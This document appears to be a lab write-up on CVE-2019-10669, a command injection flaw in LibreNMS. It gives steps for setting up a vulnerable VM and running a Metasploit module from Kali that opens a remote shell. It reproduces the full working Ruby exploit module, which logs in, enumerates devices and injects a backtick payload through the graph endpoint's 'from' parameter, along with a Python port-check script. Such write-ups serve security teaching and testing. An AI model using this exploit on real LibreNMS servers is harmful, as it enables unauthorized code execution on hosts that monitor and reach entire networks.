Description

LibreNMS is an open source network monitoring tool for Linux operating systems. It can be used to monitor any Linux distribution, FreeBSD, and even network devices such as Cisco and Juniper. LibreNMS has the ability to auto discover the entire network using many different protocols such as CDP, FDP, LLDP, OSPF, BGP, SNMP and ARP. A vulnerability against LibreNMS through version 1.47 (CVE-2019-10669) was published on September 9th of this year. This vulnerability allows for command injection in html/includes/graphs/device/collectd.inc.php where user supplied parameters are filtered with the mysqli_escape_real_string function. The function does not sanitize command arguments (such as backticks) and this allows for an attack to inject commands into the variable $rrd_cmd which gets executed via passthru (DATABASE, 2019). This is a severe vulnerability as an NMS device has access to every system on the network that is being monitored. This might allow an attack to stage attacks on other devices and steal information.

How to Setup

An LibreNMS OVA (version 1.46) is available for download from github (https://github.com/librenms/packer-builds/releases/tag/1.46). The credentials to log into the OVA and web interface can be found on Librenms’s official website (https://docs.librenms.org/Installation/Images/). The OVAs are built with virtual box so they work best when used in virtual box. In order to get them to work with VMware Player, some changes need to be made to the OVA in virtual box before it can run in VMware player.

Initial configuration for OVA to work with VMware Player

  1. Download the LibreNMS Ubuntu OVA from the above website into Virtual Box
  2. Log in using the credentials provided in the website above
  3. Apt-get install net-tools to that makes it easier to bring network interfaces up and down
  4. Navigate to /etc/network and edit the interfaces file
  5. Add the following lines to the interfaces file to ensure that the network interface comes up when we move to VMware Player. (See screenshot below for reference)
auto ens32
iface  ens32 inet dhcp
pre-up sleep 2
  1. Stop the VM and export the VM as an OVA.
  2. Load the modified OVA into VMware Player and bring up the network interface

Configuration for OVA for Exploit

  1. Collectd needs to be set up with LibreNMS for this exploit to work (apt-get install collectd)
  2. Open the Collectd config file /etc/collectd/collectd.conf and uncomment the global options for the Hostname and BaseDir
  3. Uncomment the lines for the cpu plugin
<Plugin cpu>
  ReportByCpu true
  ReportByState true
  ValuesPercentage false
</Plugin>
  1. Find the rrdtool plugin and check that it looks like below
<Plugin rrdtool>
   DataDir "/var/lib/collectd/rrd"
   CacheTimeout 120
   CacheFlush   900
</Plugin>
  1. Save and exit collectd.conf
  2. open /etc/collectd/collectd.conf.d/rrdtool.conf and add
LoadPlugin rrdtool
<Plugin rrdtool>
  DataDir "/var/lib/collectd/rrd"
  CacheTimeout 120
  CacheFlush   900
</Plugin>
  1. Save and exit, then restart the Collectd service (systemctl restart collecd)
  2. Add these two lines to the LibreNMS config file, /opt/librenms/config.php
a. $config['collectd_dir']                 = '/var/lib/collectd/rrd';
b. $config['collectd_sock']                 = 'unix:///var/run/collectd.sock';
  1. Save and exit
  2. Verify that Collectd is set up with LibreNMS by viewing the localhost device in LibreNMS and there should be a Collectd tab on the device’s main page (see screenshot below for reference to the Collectd tab)

How to Run Proof of Concept

  1. Boot into Kali Linux VM (on the same network as the libreNMS VM)
  2. cd /usr/share/metasploit-framework/modules/exploits/linux/http
  3. vi librenms_collectd_cmd_inject
  4. copy in ruby code from https://github.com/rapid7/metasploit-framework/pull/12189/files/da98d3d3763c4a352819b6c74ec2078c08b9be52?short_path=89967c7#diff-89967c779a45b41ced3a4d0e33852d0b
  5. Start Metasploit
  6. use exploit/linux/http/librenms_collectd_cmd_inject
  7. set RHOSTS <ip>
  8. set LHOST <ip>
  9. set USERNAME <user>
  10. set PASSWORD <pass>
  11. run

Screenshots

Kali Linux VM IP Address

kali_ip

LibreNMS /etc/network/interfaces file

interface

LibreNMS IP Address

librenms_ip

LibreNMS Collectd Tab on Web Interfaces

librenms_web

Poller – Check if port is open and service is running

poller

Kali Linux – Metasploit Options for Librenms exploit

kali_exploit

Kali Exploit run and remote command shell opened

remote-shell

Proof of Concept Code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreNMS Collectd Command Injection',
      'Description'    => %q(
        This module exploits a command injection vulnerability in the
        Collectd graphing functionality in LibreNMS.

        The `to` and `from` parameters used to define the range for
        a graph are sanitized using the `mysqli_escape_real_string()`
        function, which permits backticks. These parameters are used
        as part of a shell command that gets executed via the `passthru()`
        function, which can result in code execution.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Eldar Marcussen', # Vulnerability discovery
        'Shelby Pace'      # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2019-10669' ],
          [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
        ],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
      [
        [ 'Linux',
          {
            'Platform' =>  'unix',
            'Arch'     =>  ARCH_CMD
          }
        ]
      ],
      'DisclosureDate' => "2019-07-15",
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
      OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
  end

  def check
    res = send_request_cgi!('method'  =>  'GET', 'uri'  =>  target_uri.path)
    return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')

    about_res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'pages', 'about.inc.php')
    )

    return Exploit::CheckCode::Detected unless about_res && about_res.code == 200

    version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
    return Exploit::CheckCode::Detected unless version && version.length > 1
    vprint_status("LibreNMS version #{version[1]} detected")
    version = Gem::Version.new(version[1])

    return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>  'GET',  'uri' =>  login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

    cookies = res.get_cookies
    login_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  login_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'username'  =>  datastore['USERNAME'],
        'password'  =>  datastore['PASSWORD']
      }
    )

    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

    cookies = login_res.get_cookies
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path),
      'cookie'  =>  cookies
    )

    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
  end

  def get_version
    uri = normalize_uri(target_uri.path, 'about')

    res = send_request_cgi( 'method'  =>  'GET', 'uri' => uri, 'cookie' => @cookies )
    fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200

    html = res.get_html_document
    version = html.search('tr//td//a')
    fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
    version.each do |e|
      return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
    end
  end

  def get_device_ids
    version = get_version
    print_status("LibreNMS version: #{version}")

    if version && Gem::Version.new(version) < Gem::Version.new('1.50')
      dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
      format = '+list_detail'
    else
      dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
      format = 'list_detail'
    end

    dev_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  dev_uri,
      'cookie'    =>  @cookies,
      'vars_post' =>
      {
        'id'              =>  'devices',
        'format'          =>  format,
        'current'         =>  '1',
        'sort[hostname]'  =>  'asc',
        'rowCount'        =>  50
      }
    )

    fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200

    json = JSON.parse(dev_res.body)
    fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?

    json = json['rows']
    fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?

    hosts = []
    json.each do |row|
      hostname = row['hostname']
      next if hostname.nil?

      id = hostname.match('href=\"device\/device=(\d+)\/')
      next unless id && id.length > 1
      hosts << id[1]
    end

    fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?

    hosts
  end

  def get_plugin_info(id)
    uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")

    res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
    return unless res && res.code == 200

    html = res.get_html_document
    plugin_link = html.at('div[@class="col-md-3"]//a/@href')
    return if plugin_link.nil?

    plugin_link = plugin_link.value
    plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
    c_plugin = plugin_hash['c_plugin']
    c_type = plugin_hash['c_type']
    c_type_instance = plugin_hash['c_type_instance'] || ''
    c_plugin_instance = plugin_hash['c_plugin_instance'] || ''

    return c_plugin, c_type, c_plugin_instance, c_type_instance
  end

  def exploit
    req_uri = normalize_uri(target_uri.path, 'graph.php')
    @cookies = login

    dev_ids = get_device_ids

    collectd_device = -1
    plugin_name = nil
    plugin_type = nil
    plugin_instance = nil
    plugin_type_inst = nil
    dev_ids.each do |device|
     collectd_device = device
     plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
     break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
     collectd_device = -1
    end

    fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
    print_status("Sending payload via device #{collectd_device}")

    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  req_uri,
      'cookie'    =>  @cookies,
      'vars_get'  =>
      {
        'device'                =>  collectd_device,
        'type'                  =>  'device_collectd',
        'to'                    =>  '1563375000',
        'from'                  =>  "1`#{payload.encoded}`",
        'c_plugin'              =>  plugin_name,
        'c_type'                =>  plugin_type,
        'c_plugin_instance'     =>  plugin_instance,
        'c_type_instance'       =>  plugin_type_inst
      }
    )
  end
end

Poller Code

import socket  # for socket
import requests

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Socket successfully created")
except socket.error as err:
    print("socket creation failed with error %s") % err

# default port for socket
port = 80
host_ip = "192.168.1.246"

# connecting to the server
result = s.connect_ex((host_ip, port))
print("Socket successfully connected")
print(host_ip)
if result == 0:
    print("Port {}:   Open".format(port))
s.close()
url = "http://" + host_ip
print(url)
response = requests.get(url)        # To execute get request
print(response.status_code)     # To print http response code
print(response.text)            # To print formatted JSON respon

References

bwatters-r7. (2019, September 9). Add module for LibreNMS CVE-2019-10669. Retrieved from Github: https://github.com/rapid7/metasploit-framework/pull/12189/files/da98d3d3763c4a352819b6c74ec2078c08b9be52

DATABASE, N. V. (2019, September 9). CVE-2019-10669 Detail. Retrieved from NATIONAL VULNERABILITY DATABASE: https://nvd.nist.gov/vuln/detail/CVE-2019-10669